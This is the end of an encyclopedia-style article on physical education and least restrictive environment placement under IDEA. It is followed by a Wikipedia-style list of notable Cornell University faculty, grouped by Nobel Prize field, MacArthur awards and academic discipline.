The Individuals with Disabilities Education Act (IDEA) describes physical education as a critical component for all individuals ages three to twenty-one. Students with disabilities must be placed in the Least Restrictive Environment (LRE) in order to receive appropriate education based on the IDEA at no cost to either the parents or students. Students with disabilities based on IDEA, must be placed with students in the general education setting as much as possible, in order to ensure the students living with disability are receiving the same education as their non-disabled peers. Alternative student placement is contingent upon the necessities of the student based on their IEP's and the requirements of the physical activity. Alternative placements must ensure that the student is being given the same enrichments as those who are not being placed elsewhere.
See also
Inclusion
Inclusive classroom
Resource room
Special education
Special education in the United States
Mainstreaming in education
References
Leal, Dorothy; Smith, Sean; Shank, Marilyn; Turnbull, Ann; & Turnbull, Rud (2002). Exceptional Lives: Special Education in Today's Schools (3rd ed.) Upper Saddle River: Pearson Education, Inc.
Special education
Education in the United States
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https://en.wikipedia.org/wiki/List%20of%20Cornell%20University%20faculty
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List of Cornell University faculty
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This list of Cornell University faculty includes notable current and former instructors and administrators of Cornell University, an Ivy League university located in Ithaca, New York.
Cornell's faculty for the 2005–06 academic year included three Nobel laureates, a Crafoord Prize winner, two Turing Award winners, a Fields Medal winner, two Legion of Honor recipients, a World Food Prize winner, an Andrei Sakharov Prize winner, three National Medal of Science winners, two Wolf Prize winners, four MacArthur award winners, four Pulitzer Prize winners, two Eminent Ecologist Award recipients, a Carter G. Woodson Scholars Medallion recipient, four Presidential Early Career Award winners, 20 National Science Foundation CAREER grant holders, a recipient of the National Academy of Sciences Award for Initiatives in Research, a recipient of the American Mathematical Society's Steele Prize for Lifetime Achievement, a recipient of the Heineman Prize for Mathematical Physics, three Packard Foundation grant holders, a Keck Distinguished Young Scholar, two Beckman Foundation Young Investigator grant holders, and two NYSTAR (New York State Office of Science, Technology, and Academic Research) early career award winners.
Nobel laureates
Physics
Hannes Alfvén (Distinguished Professor in Engineering) — Physics 1970
Hans Bethe (John Wendell Anderson Professor of Physics, 1935-2005) — Physics 1967; National Medal of Science (1975)
Richard Feynman (Physics faculty, 1945–50) — Physics 1965; National Medal of Science (1979)
Pierre-Gilles de Gennes (A.D. White Professor-at-Large, 1977–83) and Bethe Lecturer in Physics, 1989–90) — Physics 1991
Brian D. Josephson (NSF Senior Foreign Scientist Fellow, 1971-1972) — Physics 1973
David Lee (Professor of Physics) — Physics 1996
Anthony James Leggett (Visiting Professor, April 1973, July 1974, Bethe Lecturer, April 1980, visiting scientist, January — August 1983) — Physics 2003; Wolf Prize in Physics (2002)
Roger Penrose (Visiting Professor) — Physics 2020
Robert Coleman Richardson (Floyd R. Newman Professor of Physics) — Physics 1996
John Robert Schrieffer (A.D. White Professor-at-Large, 1969–75) — Physics 1972; National Medal of Science (1983)
George Paget Thomson (Non-resident Lecturer, 1929–30) — Physics 1937
Kip Thorne (Andrew D. White Professor-at-Large, 1986-1992; Visiting Senior Research Associate, January — June 1977; Hans Bethe Lecturer, 1986; Yervant Terzian Memorial Lecture, 2016) — Physics 2017
Kenneth G. Wilson (Professor of Physics and Nuclear Studies, 1963–88) — Physics 1982; Wolf Prize in Physics (1980)
Peace, Literature, or Economics
Norman Borlaug (A.D. White Professor-at-Large, 1982–88) — Peace 1970; National Medal of Science (2004)
Linus Pauling (George Fischer Baker Non-Resident Lecturer in Chemistry 1937-1938; Messenger Lecturer 1959) — Peace 1962
Octavio Paz (A.D. White Professor-at-Large, 1972–74) — Literature 1990
Amartya Sen (A.D. White Professor-at-Large, 1978–84) — Economics 1998; National Humanities Medal (2012)
Wole Soyinka (Senior Fellow, Society for the Humanities, 1985; Goldwin Smith professor for African Studies and Theatre Arts, 1988-1991) — Literature 1986
Richard Thaler (Professor 1978-1995) — Economics 2017; member of the National Academy of Sciences (2018)
Chemistry
Peter Debye (Professor of Chemistry, 1940–50; Department Chair) — Chemistry 1936; National Medal of Science (1965)
Manfred Eigen (A.D. White Professor-at-Large, 1965–76) — Chemistry 1967
Richard R. Ernst (A.D. White Professor-at-Large, 1996-2002) — Chemistry 1991
Paul Flory (Chemistry faculty, 1948–57) — Chemistry 1974; National Medal of Science (1974)
Otto Hahn (George Fisher Baker Lecturer of Chemistry, 1933) — Chemistry 1944
Gerhard Herzberg (George Fischer Baker Non-Resident Lecturer in Chemistry 1968) — Chemistry 1971
Roald Hoffmann (Frank H.T. Rhodes Professor in Humane Letters) — Chemistry 1981; National Medal of Science (1983)
Linus Pauling (George Fischer Baker Non-Resident Lecturer in Chemistry 1937-1938; Messenger Lecturer 1959) — Chemistry 1954; the bulk of his most influential scientific book The Nature of the Chemical Bond was completed while he was at Cornell and was published by Cornell University Press in 1939
James B. Sumner (Professor, 1929–55 and Professor Emeritus of Biochemistry/Nutrition) — Chemistry 1946
Henry Taube (Instructor and assistant professor, 1941-1946) — Chemistry 1983; National Medal of Science (1976)
Vincent du Vigneaud (Professor of Biochemistry, Medical College, 1938–67), Professor of Chemistry, 1967–75) — Chemistry 1955; Albert Lasker Award for Basic Medical Research (1948)
Physiology or Medicine
James P. Allison (Professor, Weill Cornell Medicine 2004-2012) — Physiology or Medicine 2018, Wolf Prize in Medicine (2017)
Robert F. Furchgott (Assistant Professor of biochemistry, Research Associate, Medical College, 1940–49) — Physiology or Medicine 1998
Herbert Spencer Gasser (Medical College, 1931–34) — Physiology or Medicine 1944
Paul Greengard (A.D. White Professor-at-Large, 1981–87) — Physiology or Medicine 2000
Haldan Keffer Hartline (Associate Professor, Medical College, 1940–41) — Physiology or Medicine 1967
Robert W. Holley (Ph.D. 1947 Organic Chemistry; Professor and Department Chair in Biochemistry, 1948–64) — Physiology or Medicine 1968
Har Gobind Khorana (A.D. White Professor-at-Large, 1974–80) — Physiology or Medicine 1968; National Medal of Science (1987)
Fritz Albert Lipmann (Research Associate, Medical College, 1939-1941) — Physiology or Medicine 1953; National Medal of Science (1966)
Peter Medawar (A.D. White Professor-at-Large, 1965–71) — Physiology or Medicine 1960
Harold E. Varmus (Lewis Thomas University Professor of Medicine, 2015-) — Physiology or Medicine 1989; National Medal of Science (2001)
MacArthur awards
Archie Randolph Ammons (Professor of Creative Writing, 1964–98) — poetry 1981
William Dichtel (Associate Professor of Chemistry and Chemical Biology, 2008-2016) — Chemistry 2015
Craig Fennie (Assistant Professor of Applied and Engineering Physics) — materials science 2013
Mitchell J. Feigenbaum (Postdoc 1970-1972, professor, 1982-1988) — physics 1984; Wolf Prize in Physics (1986), member of the National Academy of Sciences and fellow of the American Academy of Arts and Sciences
Alice Fulton (Professor of Creative Writing) — poetry 1991
Deborah Estrin (Associate Dean and Robert V. Tishman ’37 Professor of Cornell Tech, 2013-) — computer science 2018; member of the National Academy of Engineering (2009)
Henry Louis Gates, Jr. (Professor, 1985–90) — literary critic (1981); National Humanities Medal recipient (1998)
Paul Ginsparg (Professor of Physics and Computing & Information Science) — physics 2002
Jon Kleinberg (Tisch University Professor of Computer Science) — computer science 2005
Stephen Lee (Professor of Solid State Chemistry) — chemistry 1993
Michal Lipson (Faculty of Electrical and Computer Engineering 2001-2015) — optical physics 2010; member of the National Academy of Sciences (2019)
Robert Parris Moses (Frank H.T. Rhodes Class of '56 Professor, 2006-) — educator and philosopher (1982)
Rebecca J. Nelson (Associate Professor of Plant Pathology, Plant Breeding and International Agriculture) — plant pathologist (1998)
Sheila Nirenberg (Professor at Weill Medical College) — neuroscience 2013
Margaret W. Rossiter (Marie Underhill Noll Professor of the History of Science) — historian of science 1989
Gregory Vlastos (Faculty 1948-1955) — classicist and philosopher 1990
Natural sciences and related fields
Mathematics
William J. Cook (Assistant Professor 1985-1987) — University Professor of the University of Waterloo, member of the National Academy of Engineering, American Mathematical Society Fellow, INFORMS Fellow and SIAM Fellow, recipient of the Frederick W. Lanchester Prize of INFORMS (2007)
Eugene Dynkin (Professor) — mathematician
Walter Feit (Professor, 1952–64) — mathematician, co-author of the Feit–Thompson theorem
William Feller (Professor 1945-1950) — mathematician, known in probability theory; recipient of the National Medal of Science (1969), member of the National Academy of Sciences (1960)
Richard S. Hamilton — mathematician who laid groundwork for the Poincaré conjecture proof
Allen Hatcher (Professor, 1985-) — mathematician, proved the Smale conjecture (1983)
Kiyosi Itô (Professor 1969-1975) — Wolf Prize in Mathematics (1987) and Kyoto Prize (1998); member of the National Academy of Sciences (1998)
John Irwin Hutchinson (Professor of Mathematics, 1894-?) — mathematician
Mark Kac (Faculty 1939-1961) — member of the National Academy of Sciences (1965)
Jack Kiefer (Professor of Mathematics 1952-1979) — Fellow of the American Academy of Arts and Sciences and member of the National Academy of Sciences; president of the Institute of Mathematical Statistics (1969-1970)
Saunders Mac Lane (Professor) — developer of algebra's category theory; recipient of the National Medal of Science (1989)
Greg Lawler (Professor 2001-2006) — Wolf Prize in Mathematics recipient (2019)
Kathryn Mann (Assistant Professor 2019-) — mathematician
Amy McCune (Professor) — evolutionary biologist and Senior Associate Dean of the Cornell College of Agriculture and Life Sciences
Justin T. Moore (Professor 2007-) — a set theorist and logician, known for his solution to the problem of constructing an L-space.; recipient of the "Young Scholar's Competition" award in 2006, in Vienna, Austria.
Marston Morse (Instructor 1920-1922, Assistant Professor 1922-1925) — mathematician, known for Morse theory in differential topology; recipient of Bôcher Memorial Prize (1933); National Medal of Science (1964)
George Nemhauser (Leon C. Welch endowed chair 1970-1983) — president of the Operations Research Society of America; member of the National Academy of Engineering (1986) and recipient of John von Neumann Theory Prize (2012)
Anil Nerode (Goldwin Smith Professor of Mathematics) — mathematician
Piergiorgio Odifreddi (Professor) — mathematician
Paul Olum (Professor) — mathematician, president of the University of Oregon 1980-89
Joseph Slepian (Instructor) — mathematician
Frank Spitzer (Professor 1961-1992) — member of the National Academy of Sciences (1981)
Steven Strogatz (Professor of Theoretical and Applied Mechanics, 1994-) — mathematician
Éva Tardos (Professor of Computer Science) — mathematician, Guggeinheim fellow, winner of the Fulkerson Prize, 1988; member of the National Academy of Engineering (2007)
William Thurston (Professor of Mathematics and Computer Science, 2003-) — mathematician; Fields Medal winner
Charles F. Van Loan (Chair of the Department of Computer Science) — mathematician
Harry Vandiver (instructor of mathematics 1919-1924) — Cole Prize recipient (1931); member of the National Academy of Sciences (1934)
Karen Vogtmann (Professor, 1994-) — mathematician, American Mathematical Society Fellow, Noether Lecturer (2007), known for Culler–Vogtmann Outer space
Jacob Wolfowitz (Professor of Mathematics 1951-1970) — member of the National Academy of Sciences (1974)
Physics
Neil Ashcroft (Professor, 1966-2006) — solid-state physicist and member of the National Academy of Sciences (1997)
Robert Bacher (Professor, 1935-1949) — Manhattan Project leader and member of Atomic Energy Commission; member of the National Academy of Sciences (1947)
Robert Brout (Professor, 1953-1961) — recipient of the Wolf Prize in Physics (2004) and Sakurai Prize (2010) for his significant contributions in elementary particle physics
Dale R. Corson (Professor, 1947-1969, President 1969-1977, Chancellor, 1977-1980) — as President, defused riots and armed stand-off in 1969
Harold Craighead (Charles W. Lake Professor of Engineering, 1989-) — applied physicist
Persis Drell (Professor, 1988-2002) — particle physicist; director of the SLAC National Accelerator Laboratory (2007-2012), dean of the Stanford University School of Engineering (2014-2017) and provost of Stanford University (2017-)
Gene Dresselhaus (Professor) — Condensed matter physicist, 2022 Oliver E. Buckley Condensed Matter Physics Prize Recipient
Freeman Dyson (Professor, 1951–53) — physicist, mathematician; recipient of the Wolf Prize in Physics (1981), Templeton Prize (2000) etc.
Mitchell Feigenbaum (Professor) — physicist whose pioneering studies in chaos theory led to the discovery of the Feigenbaum constant
Craig Fennie (Professor) — applied physicist; MacArthur Fellow (2013)
Michael Fisher (Professor 1966-1987) — Irving Langmuir Award (1971), Wolf Prize in Physics (1980), Boltzmann Medal (1983), Lars Onsager Prize (1995), Royal Medal (2005), BBVA Foundation Frontiers of Knowledge Award (2009); Fellow of the American Academy of Arts and Sciences and Member of the National Academy of Sciences
Peter Goldreich (Thomas Gold Lecturer, 1987) — astrophysicist
Brian Greene (Professor, 1990–95) — theoretical physicist and author, specializing in string theory
Alan Guth (1977-1979) — recipient of Fundamental Physics Prize (2012) and Kavli Prize (2014)
Arthur Kantrowitz (Professor, 1946–56) — physicist and engineer
Toichiro Kinoshita (Professor, 1955-1995) — Japanese-American theoretical physicist; member of the National Academy of Sciences (1991) and recipient of the Sakurai prize (1990)
M. Stanley Livingston (Faculty 1934-1938) — member of the National Academy of Sciences (1970)
Richard V. E. Lovelace (Professor 1984-); Fellow of the American Physical Society (2000)
Boyce McDaniel (Professor, 1946-1985) — Manhattan Project physicist and synchrotron designer; member of the National Academy of Sciences
Paul McEuen (Professor, 2001-) — physicist, specializes in carbon nanotubes and graphene
David Mermin (Professor) — physicist; member of the National Academy of Sciences (1991) and of the American Academy of Arts and Sciences (1988)
Philip Morrison (Professor 1946-1964) — member of the National Academy of Sciences (1971)
David A Muller (Professor) – applied physicist
Yuri Orlov (Researcher of Physics, 1986-) — nuclear physicist; former Soviet dissident; human rights activist
Edward Ott (Faculty of the Department of Electrical Engineering, 1968-1979) — American physicist known for his contributions to the development of chaos theory
Albert Overhauser (Faculty, 1953-1958) — physicist, known for Overhauser effect; member of the National Academy of Sciences and fellow of the American Academy of Arts and Sciences; recipient of National Medal of Science (1994) and Oliver E. Buckley Condensed Matter Prize (1975)
John Reppy (Faculty, 1966-2005) — member of the National Academy of Sciences (1988)
Bruno Rossi (Associate Professor 1940-1943) — National Medal of Science (1983), Wolf Prize in Physics (1987)
Dennis William Sciama (Professor) — physicist
Harold Scheraga (Faculty 1947-1992) — member of the National Academy of Sciences (1966)
George Paget Thomson (Non-resident Lecturer, 1929–30) — Nobel Prize, Physics 1937
Kip Thorne (A.D. White Professor-at-Large, 1986–92) — astrophysicist
Watt W. Webb (Engineering Physics Faculty 1961-) — member of the National Academy of Engineering, the National Academy of Sciences, and the American Academy of Arts and Sciences
Robert R. Wilson (Professor) — youngest group leader on the Manhattan Project; first director of Fermilab; National Medal of Science (1973)
Astronomy
James L. Elliot (Former postdoctoral fellow, Faculty) — astrophysicist; discoverer of the ring system of Uranus while at Cornell; discoverer of the atmosphere of Pluto
Riccardo Giovanelli (Professor of Astronomy 1991-) — Henry Draper Medal recipient (1989)
Thomas Gold (John L. Wetherill Professor of Astronomy, 1959-2004) — astrophysicist, coined the term "magnetosphere"; member of the National Academy of Sciences (1968)
Martha P. Haynes (Goldwin Smith Professor of Astronomy) — Henry Draper Medal recipient (1989), member of the National Academy of Sciences (2000)
Jonathan Lunine (David C. Duncan Professor in the Physical Sciences) — Harold C. Urey Prize recipient (1988), member of the National Academy of Sciences (2010), fellow of the American Association for the Advancement of Science and the American Geophysical Union
Jean-Luc Margot (Assistant Professor) — astronomer, awarded the H. C. Urey Prize by the American Astronomical Society, 2004
Carl Sagan (David Duncan Professor of Astronomy and Space Sciences, 1968–96) — space sciences
Edwin Ernest Salpeter (James Gilbert White Distinguished Professor of the Physical Sciences Emeritus, 1948-2008) — astronomer; Crafoord Prize (1997), member of the National Academy of Sciences (1967)
Saul Teukolsky (Professor 1974-) — theoretical astrophysicist and co-author of Numerical Recipes; member of the National Academy of Sciences (2003)
Aleksander Wolszczan (Professor) — discoverer of first extrasolar planets and pulsar planets
Chemistry
Héctor D. Abruña (Emile M. Chamot Professor of Chemistry) — member of the National Academy of Sciences (2018)
Geoffrey W. Coates (Tisch University Professor in Chemistry) — member of the American Academy of Arts and Sciences and of the National Academy of Sciences (2017)
Wilder Dwight Bancroft (Professor, 1895-1937) — physical chemist
Thomas Bruice (Professor of Chemistry 1960-1964) — member of the National Academy of Sciences (1974)
James Crafts (Professor of Chemistry, 1868–97) — President of MIT, 1897-1900
Jean Fréchet (Professor 1987-1998) — Japan Prize (2013); fellow of the American Association for the Advancement of Science, the American Chemical Society, and the American Academy of Arts and Sciences, member of the National Academy of Sciences and the National Academy of Engineering
Gordon Hammes (Biochemist 1965-1988) — member of the National Academy of Sciences (1973)
James L. Hoard (Chemistry Professor 1936-1971) — National Academy of Sciences (1972)
John R. Johnson (Professor 1927-1965) — chemist; member of the National Academy of Sciences (1948)
John Gamble Kirkwood (Professor) — chemist
Stephen Lee (Professor of Solid State Chemistry) — MacArthur Award and Sloan Fellow
Franklin A. Long (Professor and Chairman of Chemistry) — member of the National Academy of Sciences (1962)
Jerrold Meinwald (Professor of Chemistry 1960s -) — Member of the National Academy of Sciences and the American Philosophical Society, Fellow of the American Academy of Arts and Sciences and the American Association for the Advancement of Science, recipient of the National Medal of Science (2014) and Chemical Pioneer Award of the American Institute of Chemists (1997)
Earl Muetterties (Professor 1973-1978) — member of the National Academy of Sciences (1971)
Gregory Petsko (Arthur J. Mahon Professor of Neurology and Neuroscience at Weill Cornell Medical College 2012-) — member of the National Academy of Sciences (1995)
Efraim Racker (Professor of Biochemistry) — founder of the biochemistry department at Cornell University; member of the American Academy of Arts and Sciences and the National Academy of Sciences; recipient of Warren Triennial Prize (1974), National Medal of Science (1976), Gairdner Award (1980)
Frank Spedding (George Fisher Baker assistant professor 1935-1937) — member of the National Academy of Sciences (1952)
Benjamin Widom (Professor of Chemistry 1955-)
Biology, ecology, botany, and nutrition
Louis Agassiz (Lecturer) — zoologist, glaciologist, and geologist
Liberty Hyde Bailey (Professor) — botanist, early progenitor of the 4-H movement, namesake of Bailey Hall; member of the National Academy of Sciences (1917)
Joan Jacobs Brumberg (Stephen H. Weiss Presidential Fellow; Professor of History, Human Development, and Gender Studies, 1979-) — scholar in adolescence, body image and eating disorders, and related fields
T. Colin Campbell (Professor) — nutritionist; director of the China Project;author of The China Study
William Henry Chandler (Professor 1913-1923) — botanist in pomology; member of the National Academy of Sciences (1943)
Anna Botsford Comstock — nature studies, appointed first woman assistant professor at Cornell (1899), full professor (1920)
Thomas Eisner (Jacob Gould Schurman Professor of Chemical Ecology) — pioneer of chemical ecology; member of the National Academy of Sciences (1969), recipient of the National Medal of Science (1994)
Rollins A. Emerson (Professor 1914-1942) — member of the National Academy of Sciences (1927)
Barton Warren Evermann (Lecturer, 1900–03) — ichthyologist
Martin Gibbs (Professor 1956-1964) — member of the National Academy of Sciences (1974)
Jane Goodall (A.D. White Professor-at-Large, 1996-2002) — naturalist
Everett Peter Greenberg (Faculty 1978-1988) — American microbiologist who received the Shaw Prize in 2015; member of the National Academy of Sciences and fellow of the American Academy of Arts and Sciences
Donald Griffin (Professor) — zoologist, member of the National Academy of Sciences (1960)
Ann Hajek (Professor) — entomologist
Maria Harrison (William H. Crocker Research Chair) — plant biologist, member of the National Academy of Sciences (2019)
Franz-Ulrich Hartl (Professor 1991-1997) — director of the Max Planck Institute of Biochemistry in Martinsried, Germany (1997-); recipient of Gottfried Wilhelm Leibniz-Prize (2002), Gairdner Foundation International Award (2004), Albert Lasker Award for Basic Medical Research (2011), Shaw Prize (2012), etc., member of the American Academy of Arts and Sciences (2000) and the National Academy of Sciences (2011)
Charles Frederick Hartt (Professor, 1868-?) — Canadian-American geologist, palaeontologist and naturalist who specialized in the geology of Brazil
Maria Jasin (Professor, Weill Cornell Graduate School of Medical Sciences) — member of the National Academy of Sciences (2015) and of the American Academy of Arts and Sciences (2017); recipient of the Shaw Prize in Life Sciences (2019)
William Tinsley Keeton (Professor) — expert in animal navigation, namesake of William Keeton House
Graham Kerr (Professor, 1973) — chef, "The Galloping Gourmet"
Simon A. Levin (Professor 1965-1992) — Recipient of the National Medal of Science (2015), Tyler Prize for Environmental Achievement (2014), Kyoto Prize (2005)
Gene Likens (Professor of Ecology, 1969-1983; Adjunct Professor 1983-) — ecologist; member of American Academy of Arts and Sciences, National Academy of Sciences, Royal Swedish Academy of Sciences; recipient of National Medal of Science (2001), Tyler Prize for Environmental Achievement (1993), BBVA Foundation Frontiers of Knowledge Award (2016)
John T. Lis (Faculty 1978 -) — Guggenheim Fellow (2000), member of the National Academy of Sciences (2015)
Thomas Lyttleton Lyon − Emeritus Professor of Soils Science for the Department of Agriculture; co-winner of the Howard N. Potts Medal (1913)
Jerrold Meinwald (Professor Emeritus of Chemistry) — chemical ecologist; member of the National Academy of Sciences (1969) and the American Philosophical Society (1987); fellow of the American Academy of Arts and Sciences (1970); recipient of the National Medal of Science (2014)
Gero Miesenböck (Assistant Professor of Cell Biology and Genetics; Assistant Professor of Neuroscience 1999 — 2004) — recipient of The Brain Prize (2013) and BBVA Foundation Frontiers of Knowledge Award (2015)
John Keith Moffat — Guggenheim Fellow, former associate professor in Biochemistry, Molecular, and Cell Biology at Cornell, later deputy provost at University of Chicago, noted for Advanced Photon Source and Time resolved crystallography
Corrie Moreau (Professor 2019-) — myrmecologist / ant researcher; Fellow of the American Association for the Advancement of Science, Entomological Society of America Fellow, Royal Entomological Society Fellow
Rebecca J. Nelson (Associate Professor of Plant Pathology, Plant Breeding and International Agriculture) — MacArthur Fellow (1998); researcher in crop disease resistance
Karl J. Niklas (Liberty Hyde Bailey Professor in the Department of Plant Biology)
Katharine Payne (Researcher at Bio-acoustics Research Program, Lab of Ornithology) — whale and elephant researcher
David Peakall (1968-1975 Laboratory of Ornithology, senior research associate in the Section of Ecology and Systematics in the Biological Sciences Division)
Pinstrup-Andersen Per (Professor of Food Economics 1987-1992, H.E. Babcock Professor of Food, Nutrition and Public Policy 2003-2013, Professor Emeritus and Graduate School Professor 2013-) — recipient of the World Food Prize (2001)
Donald W. Roberts former Adjunct Professor, Department of Entomology and Department of Plant Pathology
Wendell L. Roelofs (Professor) — recipient of Alexander von Humboldt Award (1977), Wolf Prize in Agriculture (1982), National Medal of Science (1983)
Benoît Roux (Professor) — molecular biologist; winner of the Rutherford Memorial Medal in Chemistry, 1998) from the Royal Society of Canada
W. Mark Saltzman (BP Amoco/H. Laurance Fuller Chair 1996-2002) — member of the National Academy of Medicine (2014) and of the National Academy of Engineering (2018)
John C. Sanford (Professor, 1980–98) — inventor of the gene gun
Harold Hill Smith (Professor) — geneticist
Steven D. Tanksley (Liberty Hyde Bailey Professor of Plant Breeding, 1985-) — plant breeding and agronomy researcher; recipient of Alexander von Humboldt Foundation Award, Martin Gibbs Medal of the American Society of Plant Biologists, the Wolf Prize in Agriculture and the Japan Prize, member of the National Academy of Sciences
Stanley Temple (1975-1976 Research Associate) — avian ecologist
Helen Turley — winemaker
Herbert John Webber (Professor, 1907–12) — plant physiologist, developed the citrange
Robert Whittaker (Professor) — vegetation ecologist; member of the National Academy of Sciences (1975)
Burt Green Wilder (Professor of Neurology and Vertebrate Zoology, 1867-1910) — comparative anatomist
Charles Edward Stevens (Chairman of Physiology, Biology and Pharmacology, 1961-1979) — Fulbright Scholar and internationally recognized expert in the field of comparative physiology and digestive systems.
Bruce Wallace (professor of genetics 1958-1981) — member of the National Academy of Sciences (1970)
Hao Wu (Faculty 1997-2012 Weill Cornell Medical College) — member of the National Academy of Sciences (2015)
Donald Zilversmit (Professor 1966-1990) — nutritional biochemist; member of the National Academy of Sciences (1989)
Medicine
Alexander Gordon Bearn (professor and chairman of the Department of Medicine 1966-1979) — member of the National Academy of Sciences (1972) and the Institute of Medicine
Edward Boyse (professor of biology 1969-1989) — member of the National Academy of Sciences (1979) and the American Academy of Arts and Sciences, and fellow of the Royal Society
Eugene Floyd DuBois (Faculty at Cornell Medical College) — member of the National Academy of Sciences (1933)
James Ewing (Professor of Clinical Pathology, 1899-1939) — pathologist; discovery of a form of malignant bone tumor that later became known as Ewing sarcoma
Don W. Fawcett (chair of the Department of Anatomy 1955-1959) — member of the National Academy of Sciences (1972)
Duane Gish (professor of biomedical science) — prominent for his advocacy of creationist theory
Elvin A. Kabat (Instructor of pathology 1938-1941) — immunologist, member of the National Academy of Sciences (1966) and fellow of the American Academy of Arts and Sciences; president of the American Association of Immunologists (1965-1966); recipient of the Louisa Gross Horwitz Prize (1977) and the National Medal of Science (1991)
Robert Foster Kennedy (Professor of Neurology) — one of the first to use electroconvulsive treatment to treat psychosis; first to link shell shock and hysteria
Bruce Lerman (the Hilda Altschul Master Professor of Medicine at Weill Cornell Medical College) — cardiologist, Chief of the Division of Cardiology and Director of the Cardiac Electrophysiology Laboratory at Weill Cornell Medicine and the New York Presbyterian Hospital
C. Walton Lillehei (Lewis Atterbury Stimson professor and chairman of the surgery department 1967-1975) — American surgeon who pioneered open-heart surgery; recipient of the Harvey Prize (1996), Gairdner Foundation International Award (1963), Lasker Award (1955)
Walsh McDermott (professor of public health and medicine) — member of the National Academy of Sciences (1967) and the American Academy of Arts and Sciences
Agnes Claypole Moody — first female appointed a position in the Medical Department
Georgios Papanikolaou (Researcher at Department of Anatomy, Medical College, 1913-?) — inventor of the Pap smear test for cervical cancer
Stephen J. Roberts — Chairman of the Department of Large Animal Medicine, Obstetrics and Surgery, 1965-1966 and 1969-1972
Juan Rosai (James Ewing Alumni Professor of Pathology (1991-1999, later Adjunct Professor of Pathology at the Weill Cornell Medical College) — author and editor of a main textbook in surgical pathology; discoverer of several entities such as Rosai-Dorfman disease and desmoplastic small round cell tumor
Alexander Rudensky (Tri-Institutional Professor, Microbiology and Immunology, Weill Cornell Medical College 2008-) — recipient of the Crafoord Prize in Polyarthritis (2017); member of the National Academy of Sciences (2012) and the American Academy of Arts and Sciences (2015)
Tom Shires (Chair of Surgery, 1975–91) — trauma surgeon; use of saline solution in shock
Daniel Stern (Adjunct Professor of Psychiatry at the Weill Cornell Medical College) — studied early child development
Ashutosh Tewari (Professor of Urology and Public Health)
Theodore H. Schwartz (Professor of Neurosurgery)
Madelon Lubin Finkel, Professor of Clinical Healthcare Policy and Research
Carl J. Wiggers (assistant professor 1911-1918) — recipient of Albert Lasker Award for Basic Medical Research; member of the National Academy of Sciences (1951)
Geology and geography
Heinrich Ries (Professor, 1898-?) — economic geologist
Ralph Stockman Tarr (Professor, 1897-?) — geographer
Engineering and computer science
Engineering
Lynden Archer (Joseph Silbert Dean of Engineering, David Croll Director of the Energy Systems Institute and James A. Friend Family Distinguished Professor of Engineering) — member of the National Academy of Engineering (2018)
Henry G. Booker (Professor of Electrical Engineering 1948-1965) — member of the National Academy of Sciences (1960)
Lance Collins (Joseph Silbert Dean of Engineering, 2010-2020)
Susan Daniel (Professor of Chemical and Biomolecular Engineering)
Lov Grover (Professor of Electrical and Computer Engineering)
Zygmunt Haas (Professor Emeritus of Electrical and Computer Engineering)
Mark E. Lewis (Professor of Operations Research and Information Engineering)
Chekesha Liddell (Professor, Materials Science and Engineering)
Hod Lipson (Professor of Mechanical Engineering)
Michal Lipson (Professor 2001-2014) — MacArthur Award, research into nanotech applications to optics
Carlo Montemagno (Professor of Biological and Environmental Engineering 1995-2001, Director of Biomedical Engineering) — Father of Bionanotechnology
Christopher Ober (Professor, Materials Science and Engineering)
Richard D. Robinson (Associate Professor of Materials Science and Engineering)
Britney Schmidt (Associate professor of astronomy, earth, and atmospheric sciences)
Peter C. Schultz (Materials Science Visiting Professor 1978-1984) — co-inventor of the fiber optics now used worldwide for telecommunications; member of the National Academy of Engineering, inductee to the National Inventors Hall of Fame, recipient of the National Medal of Technology and Innovation (2000)
William R. Sears — notable aeronautical engineer and educator; member of the National Academy of Sciences, the National Academy of Engineering, and the American Academy of Arts and Sciences
Huili Grace Xing (William L. Quackenbush Professor of Electrical and Computer Engineering and Materials Science and Engineering)
Fengqi You (Roxanne E. and Michael J. Zak Professor)
Computer science
Robert L. Constable (Professor Emeritus, Computer Science) — Work connecting programs and mathematical proofs, especially the Nuprl system
Richard W. Conway (Emerson Electric Company Professor of Manufacturing Management) – industrial engineering, simulation, scheduling theory, PL/C and other programming languages and dialects for instructional use, first director of the Office of Computing Services
Carla Gomes (Professor of Computer Science) — Director of the Institute for Computational Sustainability
Paul Ginsparg (Professor of Physics and Computing & Information Science, 2001-) — developer of the arXiv e-print archive, MacArthur Award
David Gries (Professor Emeritus, Computer Science) — author of The Science of Programming (1981), 4 national education awards
Joseph Halpern (Professor of Computer Science) — computer scientist; recipient of the Gödel Prize (1997), member of the National Academy of Engineering (2019)
Juris Hartmanis (Professor Emeritus, Computer Science) - Turing Award recipient, 1993; member of the National Academy of Engineering (1989)
John Hopcroft (IBM Professor of Engineering and Applied Mathematics in Computer Science, Emeritus) — Turing Award recipient (1986), IEEE John von Neumann Medal recipient (2010), member of the National Academy of Engineering (1989) and of the National Academy of Sciences (2009)
Jon Kleinberg (Tisch University Professor of Computer Science) — MacArthur Award and Nevanlinna Prize, member of the American Academy of Arts and Sciences (2007), the National Academy of Engineering (2008) and the National Academy of Sciences (2011)
Trevor Pinch (Chair of Science and Technology Studies Department) — Chair of the Science and Technology Studies department
Theodore Paul Wright (Acting President, 1951) — aeronautical engineer and educator
Dexter Kozen (Professor of Computer Science) — computer scientist specializing in dynamic logic
David Shmoys (Professor of Operations Research and Information Engineering) — ACM Fellow and INFORMS Fellow, and recipient of the Frederick W. Lanchester Prize (2013)
Gerard Salton (Professor of Computer Science) — father of information retrieval; recipient of Guggenheim Fellowship (1962), ASIS Award for Best Information Science Paper (1970), Best Information Science Book (1975), the first Gerard Salton Award (named in his honor) for Outstanding Contributions to Information Retrieval (1983), the Alexander von Humboldt Senior Science Award (1988), the ASIS Award of Merit (1989); ACM Fellow
Fred B. Schneider (Samuel B Eckert Professor of Computer Science) — member of the National Academy of Engineering (2011)
Éva Tardos (Jacob Gould Schurman Professor of Computer Science) — Recipient of the Fulkerson Prize (1988), the George B. Dantzig Prize (2006) and the Gödel Prize (2012); Member of the National Academy of Sciences, the National Academy of Engineering, the American Academy of Arts and Sciences; Fellow of the American Mathematical Society and of the Association for Computing Machinery (ACM)
Robert Tarjan (Assistant Professor of Computer Science 1973-1974) — computer scientist and mathematician, known for discovering several graph algorithms, including Tarjan's off-line least common ancestors algorithm; co-inventor of splay trees and Fibonacci heaps; Distinguished University Professor of Computer Science at Princeton University; recipient of Turing Award (1986)
Tim Teitelbaum (Professor of Computer Science) – known for his early work on integrated development environments (IDEs), syntax-directed editing, and incremental computation
